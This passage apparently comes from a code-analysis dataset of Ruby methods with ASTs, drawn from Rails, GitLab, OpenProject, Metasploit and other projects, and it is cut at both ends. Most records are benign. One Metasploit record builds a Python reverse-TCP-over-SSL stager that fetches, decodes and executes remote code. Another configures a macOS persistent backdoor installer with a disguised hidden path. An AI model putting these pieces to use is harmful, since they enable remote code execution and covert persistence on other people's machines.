5415-41ba-be7e-3f11de379581"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/python/reverse_tcp_ssl.rb","start_line":46,"raw_source":"def generate_reverse_tcp_ssl(opts={})\n    # Set up the socket\n    cmd  = \"import zlib,base64,ssl,socket,struct#{opts[:retry_wait].to_i > 0 ? ',time' : ''}\\n\"\n    if opts[:retry_wait].blank? # do not retry at all (old style)\n      cmd << \"so=socket.socket(2,1)\\n\" # socket.AF_INET = 2\n      cmd << \"so.connect(('#{opts[:host]}',#{opts[:port]}))\\n\"\n      cmd << \"s=ssl.wrap_socket(so)\\n\"\n    else\n      if opts[:retry_count] > 0\n        cmd << \"for x in range(#{opts[:retry_count].to_i}):\\n\"\n      else\n        cmd << \"while 1:\\n\"\n      end\n      cmd << \"\\ttry:\\n\"\n      cmd << \"\\t\\tso=socket.socket(2,1)\\n\" # socket.AF_INET = 2\n      cmd << \"\\t\\tso.connect(('#{opts[:host]}',#{opts[:port]}))\\n\"\n      cmd << \"\\t\\ts=ssl.wrap_socket(so)\\n\"\n      cmd << \"\\t\\tbreak\\n\"\n      cmd << \"\\texcept:\\n\"\n      if opts[:retry_wait].to_i <= 0\n        cmd << \"\\t\\tpass\\n\" # retry immediately\n      else\n        cmd << \"\\t\\ttime.sleep(#{opts[:retry_wait]})\\n\" # retry after waiting\n      end\n    end\n    cmd << py_send_uuid if include_send_uuid\n    cmd << \"l=struct.unpack('>I',s.recv(4))[0]\\n\"\n    cmd << \"d=s.recv(l)\\n\"\n    cmd << \"while len(d)<l:\\n\"\n    cmd << \"\\td+=s.recv(l-len(d))\\n\"\n    cmd << \"exec(zlib.decompress(base64.b64decode(d)),{'s':s})\\n\"\n\n    py_create_exec_stub(cmd)\n  end","complexity_score":55.7,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_reverse_tcp_ssl\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"import zlib,base64,ssl,socket,struct\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"retry_wait\"]}]},\"to_i\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"str\",\"children\":[\",time\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"retry_wait\"]}]},\"blank?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"<<\",{\"type\":\"str\",\"children\":[\"so=socket.socket(2,1)\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"so.connect(('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"host\"]}]}]},{\"type\":\"str\",\"children\":[\"',\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},{\"type\":\"str\",\"children\":[\"))\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"<<\",{\"type\":\"str\",\"children\":[\"s=ssl.wrap_socket(so)\\n\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"retry_count\"]}]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"for x in range(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"retry_count\"]}]},\"to_i\"]}]},{\"type\":\"str\",\"children\":[\"):\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"<<\",{\"type\":\"str\",\"children\":[\"while 1:\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\ttry:\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\t\\tso=socket.socket(2,1)\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\t\\tso.connect(('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"host\"]}]}]},{\"type\":\"str\",\"children\":[\"',\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},{\"type\":\"str\",\"children\":[\"))\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\t\\ts=ssl.wrap_socket(so)\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\t\\tbreak\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\texcept:\\n\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"retry_wait\"]}]},\"to_i\"]},\"<=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\t\\tpass\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\t\\ttime.sleep(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"retry_wait\"]}]}]},{\"type\":\"str\",\"children\":[\")\\n\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"include_send_uuid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"py_send_uuid\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"<<\",{\"type\":\"str\",\"children\":[\"l=struct.unpack('>I',s.recv(4))[0]\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"<<\",{\"type\":\"str\",\"children\":[\"d=s.recv(l)\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"<<\",{\"type\":\"str\",\"children\":[\"while len(d)<l:\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\td+=s.recv(l-len(d))\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"<<\",{\"type\":\"str\",\"children\":[\"exec(zlib.decompress(base64.b64decode(d)),{'s':s})\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"py_create_exec_stub\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]}","id":"cdad6668-fbe7-41ba-8832-7563c47e4e62"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/journey/path/pattern.rb","start_line":62,"raw_source":"def optional_names\n          @optional_names ||= spec.find_all(&:group?).flat_map { |group|\n            group.find_all(&:symbol?)\n          }.map(&:name).uniq\n        end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"optional_names\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@optional_names\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spec\"]},\"find_all\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"group?\"]}]}]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"find_all\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"symbol?\"]}]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]},\"uniq\"]}]}]}","id":"f1e5e26e-04bb-4476-b847-1989ead009fe"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/api.rb","start_line":80,"raw_source":"def initialize(attributes = {})\n      assign_attributes(attributes) if attributes\n\n      super()\n    end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"attributes\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},{\"type\":\"send\",\"children\":[null,\"assign_attributes\",{\"type\":\"lvar\",\"children\":[\"attributes\"]}]},null]},{\"type\":\"super\",\"children\":[]}]}]}","id":"2c43421d-c1d4-40e5-abbf-3f4b3394e2b2"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/abstract/helper_test.rb","start_line":95,"raw_source":"def test_includes_controller_default_helper\n        @controller.process(:with_block)\n        assert_equal \"Hello Default\", @controller.response_body\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_includes_controller_default_helper\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"process\",{\"type\":\"sym\",\"children\":[\"with_block\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Hello Default\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"response_body\"]}]}]}]}","id":"6bd6ee27-08f6-41e6-90f4-5d7b42f2a17f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/query.rb","start_line":249,"raw_source":"def groupable_columns\n    available_columns.select(&:groupable)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"groupable_columns\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"available_columns\"]},\"select\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"groupable\"]}]}]}]}","id":"55485c6e-70f2-4dd2-beb3-e5d2373d697f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/windows/services.rb","start_line":8,"raw_source":"def self.included(_base)\n          include Services\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_base\"]}]},{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"const\",\"children\":[null,\"Services\"]}]}]}","id":"bd5f55eb-d754-4c3c-89fd-a3ebf0814d94"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/work_packages/exports/modal_dialog_component.rb","start_line":41,"raw_source":"def initialize(query:, project:, title:)\n        super\n\n        @query = query\n        @project = project\n        @query_params = ::API::V3::Queries::QueryParamsRepresenter.new(query).to_url_query(merge_params: { columns: [], title: })\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"query\"]},{\"type\":\"kwarg\",\"children\":[\"project\"]},{\"type\":\"kwarg\",\"children\":[\"title\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@query\",{\"type\":\"lvar\",\"children\":[\"query\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@query_params\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"API\"]},\"V3\"]},\"Queries\"]},\"QueryParamsRepresenter\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"query\"]}]},\"to_url_query\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"columns\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"lvar\",\"children\":[\"title\"]}]}]}]}]}]}]}]}]}","id":"16241d7e-782a-4f9e-8b02-3ed1b30a51af"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/rescanner.rb","start_line":131,"raw_source":"def to_s\n    <<~OUTPUT\n      Total warnings: #{all_warnings.length}\n      Fixed warnings: #{fixed_warnings.length}\n      New warnings: #{new_warnings.length}\n    OUTPUT\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"to_s\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Total warnings: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_warnings\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Fixed warnings: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fixed_warnings\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"New warnings: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_warnings\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}","id":"51b94283-e9ce-4c1c-ac92-1fe738daf48a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/mcp/tools/custom_service_spec.rb","start_line":85,"raw_source":"def perform_default(arguments = {})\n        ::Mcp::Tools::Response.success(\n          [{ type: 'text', text: \"Default implementation with #{arguments}\" }],\n          { version: 'default' }\n        )\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_default\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"arguments\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Mcp\"]},\"Tools\"]},\"Response\"]},\"success\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"text\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Default implementation with \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arguments\"]}]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"str\",\"children\":[\"default\"]}]}]}]}]}","id":"934eff83-b8c4-4d4b-a92d-6d593d480c49"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/xml_mini/libxmlsax.rb","start_line":30,"raw_source":"def on_end_document\n        @hash = @hash_stack.pop\n        @hash.delete(CONTENT_KEY)\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"on_end_document\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@hash\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hash_stack\"]},\"pop\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hash\"]},\"delete\",{\"type\":\"const\",\"children\":[null,\"CONTENT_KEY\"]}]}]}]}","id":"308117fe-82df-41ac-9352-5eeb1db32b73"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/delete_manager.rb","start_line":27,"raw_source":"def having(expr)\n      @ast.havings << expr\n      self\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"having\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"expr\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ast\"]},\"havings\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"expr\"]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"7a3e395a-d20e-4f01-ba06-edb65b9021ed"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/requires_allowlisted_monitoring_client.rb","start_line":24,"raw_source":"def ip_allowlist\n    @ip_allowlist ||= compat_ip_allowlist\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"ip_allowlist\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@ip_allowlist\"]},{\"type\":\"send\",\"children\":[null,\"compat_ip_allowlist\"]}]}]}","id":"3308a48b-8ef4-438b-aba4-a6dbb4ff8dcc"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/miq_policy_mixin.rb","start_line":78,"raw_source":"def passes_profiles?(list)\n    plist = resolve_profiles(list)\n    result = true\n    plist.each do |prof|\n      result = false if prof[\"result\"] == \"deny\"\n    end\n    result_list = plist.collect { |r| r[\"result\"] }.uniq\n    result = result_list.first if result_list.length == 1 && result_list.first == \"N/A\"\n    result\n  end","complexity_score":24.73,"ast_json":"{\"type\":\"def\",\"children\":[\"passes_profiles?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"list\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"plist\",{\"type\":\"send\",\"children\":[null,\"resolve_profiles\",{\"type\":\"lvar\",\"children\":[\"list\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plist\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"prof\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prof\"]},\"[]\",{\"type\":\"str\",\"children\":[\"result\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"deny\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"false\",\"children\":[]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"result_list\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plist\"]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]\",{\"type\":\"str\",\"children\":[\"result\"]}]}]},\"uniq\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result_list\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result_list\"]},\"first\"]},\"==\",{\"type\":\"str\",\"children\":[\"N/A\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result_list\"]},\"first\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"10ba9b08-6eb7-42b6-a354-e193032763d7"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/policies/portal_policy.rb","start_line":10,"raw_source":"def show?\n    @account.users.include?(@user)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"show?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"users\"]},\"include?\",{\"type\":\"ivar\",\"children\":[\"@user\"]}]}]}","id":"0ebcec5d-889b-4d75-a84f-5b52a646c511"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/osx/persistence/launch_plist.rb","start_line":19,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Mac OS X Persistent Payload Installer',\n        'Description' => %q{\n          This module provides a persistent boot payload by creating a launch item, which can be\n          a LaunchAgent or a LaunchDaemon. LaunchAgents run with user level permissions and are triggered\n          upon login by a plist entry in ~/Library/LaunchAgents. LaunchDaemons run with\n          elevated privilleges, and are launched before user login by a plist entry in the ~/Library/LaunchDaemons directory.\n          In either case the plist entry specifies an executable that will be run before or at login.\n\n          Verified on OSX 11.7.10 (Big Sur)\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [ \"Marcin 'Icewall' Noga <marcin[at]icewall.pl>\", 'joev' ],\n        'Targets' => [\n          [ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],\n          [ 'Mac OS X x86 (Native Payload for 10.14 and earlier)', { 'Arch' => ARCH_X86, 'Platform' => [ 'osx' ] } ],\n          [ 'Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }],\n          [ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],\n          [ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],\n        ],\n        'DefaultTarget' => 0,\n        'SessionTypes' => [ 'shell', 'meterpreter' ],\n        'DisclosureDate' => '2012-04-01',\n        'Platform' => [ 'osx', 'python', 'unix' ],\n        'References' => [\n          ['URL', 'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf'],\n          ['URL', 'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'],\n          ['ATT&CK', Mitre::Attack::Technique::T1647_PLIST_FILE_MODIFICATION]\n        ],\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],\n          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, SCREEN_EFFECTS] # Pop-up on 13.7.4\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('BACKDOOR_PATH',\n                    [\n                      true, 'Path to hide the backdoor on the target.',\n                      '~/Library/.<random>/com.system.update'\n                    ]),\n      OptBool.new('KEEPALIVE',\n                  [true, 'Continually restart the payload exe if it crashes/exits.', true]),\n      OptBool.new('RUN_NOW',\n                  [false, 'Run the installed payload immediately.', false]),\n      OptEnum.new('LAUNCH_ITEM', [true, 'Type of launch item, see description for more info. Default is LaunchAgent', 'LaunchAgent', %w[LaunchAgent LaunchDaemon]])\n    ])\n    deregister_options('WritableDir')\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Mac OS X Persistent Payload Installer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module provides a persistent boot payload by creating a launch item, which can be\\n\"]},{\"type\":\"str\",\"children\":[\"          a LaunchAgent or a LaunchDaemon. LaunchAgents run with user level permissions and are triggered\\n\"]},{\"type\":\"str\",\"children\":[\"          upon login by a plist entry in ~/Library/LaunchAgents. LaunchDaemons run with\\n\"]},{\"type\":\"str\",\"children\":[\"          elevated privilleges, and are launched before user login by a plist entry in the ~/Library/LaunchDaemons directory.\\n\"]},{\"type\":\"str\",\"children\":[\"          In either case the plist entry specifies an executable that will be run before or at login.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Verified on OSX 11.7.10 (Big Sur)\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Marcin 'Icewall' Noga <marcin[at]icewall.pl>\"]},{\"type\":\"str\",\"children\":[\"joev\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Mac OS X x64 (Native Payload)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"osx\"]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Mac OS X x86 (Native Payload for 10.14 and earlier)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"osx\"]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Mac OS X Apple Sillicon\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_AARCH64\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"osx\"]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Python 